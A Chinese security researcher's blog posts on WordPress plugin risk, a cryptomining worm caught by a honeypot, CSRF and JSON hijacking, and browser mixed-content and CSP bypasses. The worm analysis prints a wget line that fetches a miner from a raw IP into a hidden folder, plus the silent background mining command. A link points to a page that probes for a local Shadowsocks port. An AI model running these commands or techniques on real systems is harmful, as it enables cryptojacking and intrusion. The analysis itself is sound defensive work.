用了很久了，推荐下这个：
细节自己体验吧，说点别的。
WordPress生态这么多年一直没变，安全生态也如此。如此开放的生态，短板都给了那些插件，插件一旦出个安全问题危害是很直接的。WordPress这种生态设计是没有所谓的安全沙箱。
插件的安全问题交给了插件自己解决，于是第三方安全插件也在发展。
但是有个尴尬的大势所趋，Blog 这种大生态现在越来越尴尬，自己搭建 Blog 已经不像曾经那样时髦。大环境变了，这种第三方安全插件的收益估计也会很尴尬。WordPress 这个全球最流行的 Blog 系统，有个非常重要的连接设计是 RSS，可惜越来越少人在意 RSS，每一个 Blog 都犹如孤岛一般存在，不再热闹。
这个时代发展实在太快，信息大爆炸如此，谁会在意这座孤岛？
都已经是孤岛，但别荒废长草，安全这道护城河，做好不难。
今天凌晨，我们的蜜网系统跳出了个有趣的字符串：
zaxa2aq@protonmail.com
ProtonMail！前段时间我们的分享（推荐安全且匿名的邮箱 ProtonMail）似乎暗示着某种巧合，这不得不引起我们的兴趣。意料之内，匿名是把双刃剑，剑的另一端，“匿名之恶”会让人性丑恶发挥到极致。
以前我说过，黑暗森林法则同样适用于这个网络空间：被发现即被干掉。不好意思，这次是我们“干掉”了对方。
上面这个字符串完整内容是：
(exec /var/tmp/.war/1 -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u zaxa2aq@protonmail.com -p x &> /dev/null &)
我简单解释下这条 Bash 命令：
1.
exec，负责执行后面的命令，细节用途自行查阅。2.
/var/tmp/.war/1，这个文件由下面这条命令创建：
wget http://95.128.182.166/javascripts/minerd -O /var/tmp/.war/13.
1 == minerd4.
minerd 之后的参数：
-a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u zaxa2aq@protonmail.com -p x
目测和比特币等这类货币的挖矿有关，因为：minergate.com 就是这样的邪恶挖矿大平台。合法存在。5.
&> /dev/null
无视标准输出与错误输出。6.
最后的 &，表示这条命令放到后台执行。7.
最外层的小括号()，表示创建一个新的 Shell。
上面的7点解释，重点看第4点就好。
为了确定我们的“目测”，我们用我们唯一的官方邮箱“lant34m@protonmail.com”同样在 minergate.com 上注册了个账号。在这个平台深度体验一番，不得不感慨，挖矿的世界真是眼花缭乱，满地宝藏既视感。
这个平台上，我们发现下面这个挖矿说明链接：
https://minergate.com/altminers/cpuminer-multi-wolf
部分区域截图如下：
红框里的内容是：
minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u lant34m@protonmail.com -p x
对比下上面的第4点，这下确定了吧？另外，这个 minerd 本身还是开源的…你可以根据自己的特殊要求修改编译。
好，回到开头，这个蠕虫其实不是什么新鲜玩意，传播的主要方式是通过 Linux 服务器的弱口令及一些漏洞（比如：Redis 那个未授权访问缺陷）。
这个蠕虫感染一万台服务器，那么就有一万个挖矿节点…
别说运用什么 0day，就是用到一些上古时代的技术，我们也能在这个健壮又脆弱的网络空间里成为“有钱人”。
还好，我们不是坏人。
计划准备出一个PPT专门讲解CSRF里的各种奇技淫巧，除了那些老套的手法之外：
https://github.com/evilcos/papers
我公布的Papers里有个PPT是《CSRF攻击-苏醒的巨人》，可以参考。
还包括以前提的Flash CSRF/XSF等方式，细节可以温习去年我的Paper（隐蔽的战场—Flash Web攻击），希望Flash是日不落帝国，虽然现在快日落了，但是不影响我们的最后挣扎。
除了这些，当然会有新的玩意，比如JSON Hijacking就一直在进化。还有去年很火的WormHole，这是JSON Hijacking本地攻击的一种延伸，点击下这个试试：
http://evilcos.me/lab/pac.html
探测你本地是否用Shadowsocks，当然你即使用了也不一定会弹，毕竟我测试的端口仅仅是默认的8788（如果你不是这个端口，你可以改为这个端口试试）。
以前我说过：玩CSRF，最爽的是结合了Flash，无声无息…
最近在做路由器安全研究，以及昨晚做了个新型蠕虫的测试：
给我带来的结论是：Flash，你可以安息了，感谢HTML5，以后玩CSRF同样可以很优雅。
我为什么Demo这只蠕虫？因为这确实是个影响会很深远的安全问题。
在我过去两年做的《程序员与黑客》第一季与第二季的演讲，里面有个核心点就是：程序员与黑客思维的差异，导致一些类型的安全问题可以成为经久不衰的存在，甚至会随着程序员的进化而不断演变。比如HTML5/ES6这些前端玩意的风靡，必然会带来许多“超能力”的滥用，毕竟能成为黑客的程序员少之又少，对抗博弈一直微妙地存在。
按照这种思维以及我最近的一些实战，CSP的存在（以及HTTP那些安全的X-扩展协议头）不会是前端黑的噩梦。我们最大的敌人是我们自己，伟大领袖也说过这句话:-)
当代 Web 的 JSON 劫持技巧
http://paper.seebug.org/130/
猥琐流的家伙居然在OWASP重出江湖而且加入了Burp Suite那家公司。这篇技巧核心是__proto__，可以理解为JavaScript曾经的prototype在ES6里的增强，当代浏览器基本都支持了这个新标准。这个跨域技巧很有意思的，不过目前实战利用上“暂时鸡肋”…
里面还有个亮点是UTF-16BE技巧，这个技巧除了注意字符集差异带来的安全问题之外，还应该注意下：浏览器对待MIME类型检查的态度差异…
重点来了，欢迎更多人投稿安全技术文章给Seebug Paper，公益性的:-)
Seebug Paper之前收录了三篇文章有些关联性，分别是：
有个关键点是：混合内容的安全性。
这里提到的主要是协议的混合，如https/http/file/res/mhtml等，现代浏览器逐渐开始隔离这些协议，比如https下加载http的内容时，给出安全提示；再比如“修补”file/res/mhtml这些协议在http协议的网页里带来的安全问题，如本地文件探测（常见的是杀软探测）。
玩前端Hack的都知道，修补与绕过总是在博弈，而且浏览器们的修补是存在差异的，也就是可能出现浏览器安全差异。
很早以前，我在写https协议下的XSS exp时，就注意到：当载入http内容时，浏览器的安全提示。后来解决方案是采用DOM动态操作来绕过，这个技巧和第一篇文章里提的一样。为什么这样可以？这个关键点就是浏览器安全机制的触发机制，采用DOM动态操作时，这个浏览器安全机制并不会触发。我的理解是DOM的操作实在过于繁杂，为了性能平衡，许多浏览器安全机制并不会触发，而仅在页面加载时触发。当然，我也认为这种理解不总是成立，具体问题还得看场景分析。
这种特性能带来很多有意思的前端Hack技巧，比如AngularJS发布时，我就做了个有趣的安全测试（Bypass CSP），当时利用AngularJS丰富的前端异步加载机制，有些外域内容通过合法的异步加载再在本页面渲染解析，达到无视CSP策略的效果。
顺着这个关键思路，我们的绕过就不需要那么直接去面对对应的安全机制，而是采用规避方式：也就是想办法不触发某些我们不喜欢的安全机制，这是我们绕过的核心点。
还有，第二篇文章提到的window.open技巧，是一种好技巧，浏览器需要特别对待，否则这对于前端Hacker来说也是个非常好的“触发机制混沌区”。在我看来，浏览器对待window.open多少有些无奈，首先是历史原因导致还未摒弃，然后奇特的父子权限模型，及为了用户体验而允许点击事件下的不拦截弹窗，这还导致了一系列其它类别的安全问题，如钓鱼。
回到混合内容的安全性。现在及未来，不仅协议之间如此隔离，内容也一样，CSP策略正是为此而生。
在HTML5如日中天及前端框架百花齐放的现在，DOM里的博弈不会消减，可预见的是会更加激烈。虽然，这三篇文章都是上古时代的Hack延续了…
本文，手机上写的。先这样:-)
《Web前端黑客技术揭秘》这本书2013.1月开售至今，已经第10次印刷，在安全类书籍中，这种成绩确实超出我们的意料。回头看看这一路记录的一些文字也是挺有意思的：
http://evilcos.me/?tag=book
还有本书官网http://web2hack.org/上的“消息列表”。
作为过来人，写书虽然是一件很有成就感的事，但是机会成本可能太高，而且真的很痛苦，除非你本身就是个写作爱好者。感谢所有的支持者。
书出版到现在已经快4年了，确实很多知识可以更新，至于本书的第二版是否会出，且看某人是否真的有足够勇气继续承受这种压力，当然某人的勇气多少也会拉我再次入那么点火坑。
哎…
